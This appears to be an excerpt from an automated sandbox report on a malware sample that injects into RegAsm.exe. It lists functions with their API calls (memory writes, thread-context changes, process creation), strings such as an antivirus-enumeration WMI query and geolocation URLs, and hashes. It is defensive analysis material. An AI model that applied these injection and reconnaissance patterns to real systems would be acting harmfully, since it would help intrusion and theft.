Opcode Fuzzy Hash: 9a22571ef6e54b21e72aa67bde7c28309537edc1aefcf14aacdff995b9e5c945
Instruction Fuzzy Hash: E34199B5D012589FDF00CFA9D984ADEBBF1BF49310F14902AE918B7240D779AA45CF64

Function 02F707E8 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02F7089A

Memory Dump Source

Source File: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8634f8d379edc67db72ab644c3a4514680e66d00a9aa33b685a0f11a6388be1e
Instruction ID: 49a48132cc092e6253a3a6e9b7a8c5d95f8aee8c906a0d26123acbe850a21d06
Opcode Fuzzy Hash: 8634f8d379edc67db72ab644c3a4514680e66d00a9aa33b685a0f11a6388be1e
Instruction Fuzzy Hash: 1341A9B9D042589FCF00CFAAD980AEEFBB1BF09310F14942AE814B7200D775A945CF64

Function 02F70168 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02F70212

Memory Dump Source

Source File: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84db656b9fecd7e012db582710cbf63ef543a35c87107cdfcd29e9a7e998d01a
Instruction ID: bd5e67ff3909e04ea5a7b6190d38af7a2ffbd91fa0dfffd3a5dda3eaade48e54
Opcode Fuzzy Hash: 84db656b9fecd7e012db582710cbf63ef543a35c87107cdfcd29e9a7e998d01a
Instruction Fuzzy Hash: BE3195B9D042589FCF10CFA9D980AEEFBB1BF09310F10942AE814B7200D775A905CF64

Function 02F70040 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 02F700EF

Memory Dump Source

Source File: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e6d210792fd569ea46e1e2b14a4bb43b4251c8ba88f89c5eef4bee739c4cc6f7
Instruction ID: db2a0ae3e01f17fc871533b24d4d565c62d30308565ab42fe5108379f3b8113b
Opcode Fuzzy Hash: e6d210792fd569ea46e1e2b14a4bb43b4251c8ba88f89c5eef4bee739c4cc6f7
Instruction Fuzzy Hash: EB31BBB5D042589FDB10CFAAD984AEEFBF0BF49310F14802AE418B7240D779A945CF94

Function 0140FE52 Relevance: 1.6, APIs: 1, Instructions: 74
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0140FED6

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6049743d06045ddcf1c8fc110832f701b58d0c17f7c981f524e013e97c912679
Instruction ID: 5a6971e31e16f8304e180e8ea9adb42f2d21592648a23b4c2d87003a7c9c52e3
Opcode Fuzzy Hash: 6049743d06045ddcf1c8fc110832f701b58d0c17f7c981f524e013e97c912679
Instruction Fuzzy Hash: 6D31EBB4D012489FDB14CFAAE480AEEFBB0BF49310F14842AE814B7350C774A905CF94

Function 0140FE58 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0140FED6

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7fb77f8ce1362081145633cb18f92b712a3a1e6ba6c49f11733afeae3810744c
Instruction ID: b9a4198f94c43bd2679401a8a4fafd33f1c60f113c02fac883ae7f6dcb3ceae0
Opcode Fuzzy Hash: 7fb77f8ce1362081145633cb18f92b712a3a1e6ba6c49f11733afeae3810744c
Instruction Fuzzy Hash: 3331CCB5D002189FDB14CFAAD480AEEFBB4BF49320F14842AE814B7350C775A905CF94

Non-executed Functions

Function 0140C56C Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

X$c{, xrefs: 0140C755
UUUU, xrefs: 0140C671
UUUU, xrefs: 0140C5A7

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: UUUU$UUUU$X$c{
API String ID: 0-153604399
Opcode ID: 8b7ba6f70d2ebf9a1d9ccafab99dc2c489adbb961d57d4f264e2a57a9e242e58
Instruction ID: 08d965200f571ff60ff933bc6f0c69808bf7f046155d428ff35b7b7cc8e3716e
Opcode Fuzzy Hash: 8b7ba6f70d2ebf9a1d9ccafab99dc2c489adbb961d57d4f264e2a57a9e242e58
Instruction Fuzzy Hash: 9B818175E102289FDB64CFA9C981B9DFBF2BF88300F1481AAE54CE7255D7349A858F01

Function 02F55DF1 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1509746400.0000000002F50000.00000004.08000000.00040000.00000000.sdmp, Offset: 02F50000, based on PE: true

Associated: 00000000.00000002.1509779256.0000000002F70000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f50000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction ID: 14bd4293f161e56125301fcff5c0ee23a6fafecfc2f25bad1563e1b13d29ee2d
Opcode Fuzzy Hash: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction Fuzzy Hash: FBB1CDA289E3D05FE7138770597A6907FB26E13214B1F89DBC8C1DF0A3D2495A5AD332

Function 01408F4F Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5f414ee6923375f4d346e6e1427a86177b25bd3eaa1e44db3308a9dae71515c
Instruction ID: 6852a330f712d9fa49f229fd40b55f3c743b2477d72e5f3fc42fa3fda87be411
Opcode Fuzzy Hash: b5f414ee6923375f4d346e6e1427a86177b25bd3eaa1e44db3308a9dae71515c
Instruction Fuzzy Hash: 8C512C70A00249CFEB54DFB9E85069EBBF6FF88304F18C539D004AB269DB795906CB81

Function 01408F60 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1508852896.0000000001400000.00000040.00000800.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b1f56c6bd0fe727dd85317cd85e0972f07189c6996ff1db9ae1918a8a51680
Instruction ID: 604e582e465f0f79885912f09d1f670666aedde66a17da0984cee0485e60a715
Opcode Fuzzy Hash: 71b1f56c6bd0fe727dd85317cd85e0972f07189c6996ff1db9ae1918a8a51680
Instruction Fuzzy Hash: F8512B70A00249CFEB64DFBAE85079EBBF6FF88304F14C529D004AB269DB795905CB85

Analysis Process: RegAsm.exePID: 6388, Parent PID: 1876COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	94

Executed Functions

Function 004CEF10 Relevance: 68.8, APIs: 16, Strings: 22, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF133

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF26D
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CFB61
Sleep.KERNEL32(?), ref: 004CFB8A
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CFBB4
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0070
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D0081
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D008E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004D02B0
Sleep.KERNEL32(000000C8), ref: 004D04AD
Sleep.KERNEL32(00000000), ref: 004D04D6
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0999
CloseHandle.KERNEL32(?), ref: 004D09AA
CloseHandle.KERNEL32(?), ref: 004D09B7
__aulldiv.LIBCMT ref: 004D1307
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D14AC

Part of subcall function 0053F1AA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1B5
Part of subcall function 0053F1AA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA73,?,00431705,00591F6C,?,00000007,00000000,?,00000000,?,?,?,00000007,00000000), ref: 0053F1EF

Part of subcall function 0053F159: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA73,?,00431732,00591F6C), ref: 0053F163
Part of subcall function 0053F159: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F196
Part of subcall function 0053F159: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431732,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000007), ref: 0053F1A1

Strings

6|tt, xrefs: 004D0C52
v, xrefs: 004D13EF
., xrefs: 004D02D2
M, xrefs: 004D04FB
(, xrefs: 004D04EB
B, xrefs: 004D02DE
B, xrefs: 004D02E2
$, xrefs: 004D0CD4
P, xrefs: 004D04F7
!jwj, xrefs: 004CFC3D
D, xrefs: 004D07C7
j3l6lrek, xrefs: 004CF41F, 004CF469, 004CFD74, 004CFDBE, 004CFE80, 004CFECA, 004D0215, 004D025F, 004D0643, 004D068D, 004D074F, 004D0799, 004D0B9E, 004D0BE8, 004D1259, 004D12A3, 004D17B7, 004D1801
D, xrefs: 004CFEF8
mOA, xrefs: 004D10AD
eks, xrefs: 004CF378, 004CFCCD, 004CFDD9, 004D016E, 004D059C, 004D06A8, 004D0AAD, 004D0AF7, 004D1177, 004D11B2, 004D16C6, 004D1710
M, xrefs: 004D04F3
M, xrefs: 004D0ED6
E, xrefs: 004D0EDA
E, xrefs: 004D0EDE
K, xrefs: 004CF815
J, xrefs: 004D02DA
), xrefs: 004D0ED2

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: !jwj$$$($)$.$6|tt$B$B$D$D$E$E$J$K$M$M$M$P$eks$j3l6lrek$mOA$v
API String ID: 469071346-4142521700
Opcode ID: 2e3229649e2c502acff95ee40dbe19fd784d531f28602a3db6b28b707dd295d8
Instruction ID: 25b4dd716968d004817c252c2393c646fb2409f2773173bf43e65d163309b470
Opcode Fuzzy Hash: 2e3229649e2c502acff95ee40dbe19fd784d531f28602a3db6b28b707dd295d8
Instruction Fuzzy Hash: 1B4335709042688FDB25CB64CC94BEEBBB1BF49304F0481EAD54967381DB386E89CF59

Function 00437B10 Relevance: 47.1, APIs: 2, Strings: 23, Instructions: 3321COMMON

Download Yara Rule

Strings

S=2>6, xrefs: 0043938D
|, xrefs: 0043AEE9
k, xrefs: 0043AC65
lcog, xrefs: 00438EF7
p, xrefs: 004388EA
4]D, xrefs: 00438131
/F_, xrefs: 00438058
/, xrefs: 0043B7CE
-NN, xrefs: 0043AE45
@, xrefs: 0043BE34
Content-Type: application/x-www-form-urlencoded, xrefs: 00437D2A, 00437D7F, 00439C12, 00439C67, 0043AB73
*NK^K, xrefs: 00439011
https://ipinfo.io/, xrefs: 00438555
I-(=(, xrefs: 00439609
e`u`, xrefs: 00438B0E
S72'2, xrefs: 004391E7
B&#6#, xrefs: 00438842
kn{n, xrefs: 00438D51
r, xrefs: 0043AC61
k, xrefs: 00439755
https://ipgeolocation.io/, xrefs: 0043B84C
|, xrefs: 0043AEE5
k, xrefs: 0043AD36

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: *NK^K$-NN$/$/F_$4]D$@$B&#6#$Content-Type: application/x-www-form-urlencoded$I-(=($S72'2$S=2>6$e`u`$https://ipgeolocation.io/$https://ipinfo.io/$k$k$k$kn{n$lcog$p$r$|$|
API String ID: 0-3284807517
Opcode ID: 3f213231d5d232202ef51274de070b1f38cdaa60b191c0497d14babc0837d4d2
Instruction ID: c7d5bd5d44397f905c05e8a6ae4fdd4f8a32e3fdcd9d0a3d97fe4df541a22c15
Opcode Fuzzy Hash: 3f213231d5d232202ef51274de070b1f38cdaa60b191c0497d14babc0837d4d2
Instruction Fuzzy Hash: 04830370D052A88FDB25CB28CC94BEEBBB1AF89304F0481DAD54967242CB796F85CF55

Function 00451720 Relevance: 42.7, APIs: 2, Strings: 21, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00451838
__aulldiv.LIBCMT ref: 004526AD

Strings

:, xrefs: 00453601
:, xrefs: 0045403C
:, xrefs: 00452CE9
:, xrefs: 00452AA3
%, xrefs: 00452719
:, xrefs: 00452E0C
:, xrefs: 00452BC6
:, xrefs: 00453847
:, xrefs: 00453298
:, xrefs: 00453175
:, xrefs: 00453724
:::, xrefs: 0045395B
:, xrefs: 00453052
:, xrefs: 00453F19
:, xrefs: 00453DF6
:, xrefs: 00453CD3
:, xrefs: 00453BB0
:, xrefs: 004534DE
:, xrefs: 004533BB
:, xrefs: 00453A8D
:, xrefs: 00452F2F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::
API String ID: 3732870572-4246453620
Opcode ID: e0c81232448cc281b27eaa4bb2f3d9dbc8d09e33c9e92427b5f09304b7325cc7
Instruction ID: f115d8c10725fef486f73ebf3abac10adfbb27f38f5e9dcadf0ac8c245414fd8
Opcode Fuzzy Hash: e0c81232448cc281b27eaa4bb2f3d9dbc8d09e33c9e92427b5f09304b7325cc7
Instruction Fuzzy Hash: 474338709042688BCB25DF25CC91BEEBBB5AF45309F0441DED54AAB242DB346F88CF59

Function 00430740 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043088A
__aulldiv.LIBCMT ref: 00430B99

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430C3F
__aulldiv.LIBCMT ref: 00430CAB

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430DE5
__aulldiv.LIBCMT ref: 00430F1A
__aulldiv.LIBCMT ref: 004310DA
__fread_nolock.LIBCMT ref: 00431131

Strings

eks, xrefs: 004308B0
j3l6lrek, xrefs: 0043093F, 0043097A
u, xrefs: 0043099A

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: eks$j3l6lrek$u
API String ID: 3493607940-2906203254
Opcode ID: de1ec93fdc245c52fc8053d81eec165ec062ba87709c864b29ee0b4f7d1792e9
Instruction ID: ed82bb78abdf7bbcf2c54842750a728aaef47426149999f07c8a46fe1ccb441f
Opcode Fuzzy Hash: de1ec93fdc245c52fc8053d81eec165ec062ba87709c864b29ee0b4f7d1792e9
Instruction Fuzzy Hash: 13B2C0B1E002189FDB24DB64CC91BEEBBB5BF89304F0481A9E509A7391DB346E85CF55

Function 004317E0 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043192A
__aulldiv.LIBCMT ref: 00431C39

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00431CDF
__aulldiv.LIBCMT ref: 00431D4B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431E85
__aulldiv.LIBCMT ref: 00431FBA
__aulldiv.LIBCMT ref: 0043217A
__fread_nolock.LIBCMT ref: 004321D1

Strings

(ZJ, xrefs: 00431A6B
eks, xrefs: 00431950
j3l6lrek, xrefs: 004319DF, 00431A1A

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: (ZJ$eks$j3l6lrek
API String ID: 3493607940-3988229910
Opcode ID: c3d8d032b3a525433ee9a6c064fa85cdcb634d6fe42baf7d06e080480553864f
Instruction ID: 3febfb47fdc92599cddc4016dfe3e7c600fe40ff91a5eff04d31f94f3ff2dda5
Opcode Fuzzy Hash: c3d8d032b3a525433ee9a6c064fa85cdcb634d6fe42baf7d06e080480553864f
Instruction Fuzzy Hash: 87B2D0B1E002189FDB24DB64CC91BEEBBB5BF89304F1481A9E409A7391DB346E85CF55

Function 00433600 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0043360D
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00433633
CoUninitialize.OLE32 ref: 00433642

Strings

Select * From AntiVirusProduct, xrefs: 00433725
ROOT\SecurityCenter2, xrefs: 00433698
WQL, xrefs: 00433756
displayName, xrefs: 00433844
%ws, xrefs: 00433873

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 9b520030e4c47e93ac29de0eb23aad94cd7036f6d94f8618cecfea0a68961ab4
Instruction ID: 248eaa1abccf262ec5addea588efc0091001d51c6a96fc74f562b6610ee92897
Opcode Fuzzy Hash: 9b520030e4c47e93ac29de0eb23aad94cd7036f6d94f8618cecfea0a68961ab4
Instruction Fuzzy Hash: 08A1F7B4E00209EFDB14DF94C985BEEBBB5BB48305F20815AE5126B390D7B86A45CF54

Function 00434D40 Relevance: 22.5, APIs: 3, Strings: 9, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004357F0
__aulldiv.LIBCMT ref: 00435B48
__aulldiv.LIBCMT ref: 00435EA4

Strings

m, xrefs: 004358E3
q, xrefs: 00434EFA
~mxl, xrefs: 00435C77
b, xrefs: 0043558F
L85<), xrefs: 00435FC1
eks, xrefs: 00434D59, 004363A1
ongjr, xrefs: 00436241
j3l6lrek, xrefs: 00434E00, 00434E3B, 00436448, 00436483
w, xrefs: 00434E6F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: L85<)$b$eks$j3l6lrek$m$ongjr$q$w$~mxl
API String ID: 3732870572-2218426398
Opcode ID: 3476901763a0525fa2c20e11f6db4d64a1f902c9d48d51e5a60dab42c2689e38
Instruction ID: 38a92d830e6c4dd0b9ec2749629d1db253707dd2fe5655ce0909aa02115304b7
Opcode Fuzzy Hash: 3476901763a0525fa2c20e11f6db4d64a1f902c9d48d51e5a60dab42c2689e38
Instruction Fuzzy Hash: 77E26770D042689BDB24DB64CC95BEEBBB5BF49304F0481EAE509A7381DB382E85CF55

Function 00509BD0 Relevance: 20.3, APIs: 10, Strings: 1, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00509D07
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509E59
GetModuleHandleA.KERNEL32(?,?,?), ref: 00509FAB
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A0FD
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A24F
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A3D7
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A571
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A70B
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A8A5
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050AA3F

Strings

EC, xrefs: 0050A3A5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID: EC
API String ID: 4139908857-2263498742
Opcode ID: 683267271ca8c002a4c1b82dee1c82163676ba593cbdfcd5a446630a53268e73
Instruction ID: 4cfcad33a6ec3e9e5b8220c0090680f0983b62376599e87d6b0b2d17304a9462
Opcode Fuzzy Hash: 683267271ca8c002a4c1b82dee1c82163676ba593cbdfcd5a446630a53268e73
Instruction Fuzzy Hash: 22B20270D052688FDB25CF68CC90BEEBBB1BF8A308F1481D9D449AB346D6316A84DF55

Function 0046D6E0 Relevance: 15.6, APIs: 2, Strings: 5, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046F5AF

Strings

), xrefs: 004706AD
%, xrefs: 0046F61B
', xrefs: 004702D4
3, xrefs: 0047011C
&, xrefs: 0046FB96

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 550d6f57913880df0957e0fc038ac1eb2b51d2ce00f759a05158a6b34fdd039d
Instruction ID: d693b51815b6c67d81b492c7bdbd45a3678860fb9b1bd3b496e743534c1d8fd4
Opcode Fuzzy Hash: 550d6f57913880df0957e0fc038ac1eb2b51d2ce00f759a05158a6b34fdd039d
Instruction Fuzzy Hash: 8C83EF70D052688FCB65CB28CC90BEEBBB1BF89308F0481DAD54DA7252DA356E85CF55

Function 004366C0 Relevance: 15.2, APIs: 2, Strings: 6, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F, xrefs: 0043691A
eks, xrefs: 00436B7E
:, xrefs: 00436916
q, xrefs: 004370AE
l, xrefs: 00436896
j3l6lrek, xrefs: 00436C25, 00436C60

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: :$F$eks$j3l6lrek$l$q
API String ID: 4258034872-2840958074
Opcode ID: ac35155b3cf5cc073ab36f7b3c1dece5b87a1f1fe7dc10e2659f067a3425c365
Instruction ID: 7cc07ffcf6b3f84739c149508f85475ee936f78321432c080d54a692821b2c2d
Opcode Fuzzy Hash: ac35155b3cf5cc073ab36f7b3c1dece5b87a1f1fe7dc10e2659f067a3425c365
Instruction Fuzzy Hash: 40C288B0D042289BDB24DB64CC91BEEBBB5BF49304F0481EAE50A67341DB386E85CF55

Function 00433BE0 Relevance: 14.9, APIs: 3, Strings: 5, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00433D44
__aulldiv.LIBCMT ref: 00433DFD
__aulldiv.LIBCMT ref: 004344C8

Strings

TUT, xrefs: 00433E56
Content-Type: application/x-www-form-urlencoded, xrefs: 0043450D, 0043454D
eks, xrefs: 00434606, 00434831
=Y\I\, xrefs: 004340B7
j3l6lrek, xrefs: 004346A4, 004346DF, 004348D8, 00434913

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: =Y\I\$Content-Type: application/x-www-form-urlencoded$TUT$eks$j3l6lrek
API String ID: 3732870572-2210028155
Opcode ID: 96fe91a0ed78ec9aa1d653453e9a783f4822c719dd6f6070e5b24c0925f68d86
Instruction ID: 0b39270c4957e3cb2ade4fb35155ac2488cd6917109384145b6ef13c4b05bb98
Opcode Fuzzy Hash: 96fe91a0ed78ec9aa1d653453e9a783f4822c719dd6f6070e5b24c0925f68d86
Instruction Fuzzy Hash: 60924670D002289FDB24DB69CC95BDEBBB5BF89304F1081DAE409A7291DB346E85CF55

Function 00481580 Relevance: 14.9, APIs: 2, Strings: 5, Instructions: 2639COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00482833

Strings

', xrefs: 00483558
&, xrefs: 00482E1A
%, xrefs: 0048289F
3, xrefs: 004833A0
), xrefs: 00483931

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3
API String ID: 3732870572-1175896778
Opcode ID: 0309f95802aa652044dd323fa11826f2754696fd61fe0153700ac664dcf76bd3
Instruction ID: 0034d643212e722d0324f47abe3d7b7ddad9cd6a29112c5330de8d3d63963a63
Opcode Fuzzy Hash: 0309f95802aa652044dd323fa11826f2754696fd61fe0153700ac664dcf76bd3
Instruction Fuzzy Hash: 0753F270D052688FCB25DB28CC91BEEBBB5BF89308F0481DAD549A7252DB346E85CF54

Function 0047EB60 Relevance: 14.0, APIs: 2, Strings: 5, Instructions: 1747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0047EDAA

Strings

3, xrefs: 0047F815
), xrefs: 0047FDA6
&, xrefs: 0047F2DA
', xrefs: 0047F9CD
%, xrefs: 0047EE0A

